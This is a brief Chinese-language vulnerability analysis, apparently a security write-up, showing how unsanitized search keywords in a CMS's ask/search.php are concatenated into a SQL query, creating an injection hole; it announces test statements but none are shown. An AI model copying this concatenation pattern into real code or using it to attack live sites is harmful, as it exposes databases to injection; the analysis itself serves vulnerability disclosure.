漏洞存在于ask/search.php文件，以下是漏洞代码：

if($keywords)

{

$where .= " AND title LIKE '%$keywords%'";

}

$infos = $ask->listinfo($where, 'askid DESC', $page, 20);

下面我们来看看listinfo()过程的代码：

function listinfo($where = '', $order = '', $page = 1, $pagesize = 50)

{

if($where) $where = " WHERE $where";

if($order) $order = " ORDER BY $order";

$page = max(intval($page), 1);

$offset = $pagesize*($page-1);

$limit = " LIMIT $offset, $pagesize";

$r = $this->db->get_one("SELECT count(*) as number FROM $this->table $where");

Oh yeah！！注射漏洞就这么产生了，以下是测试语句：
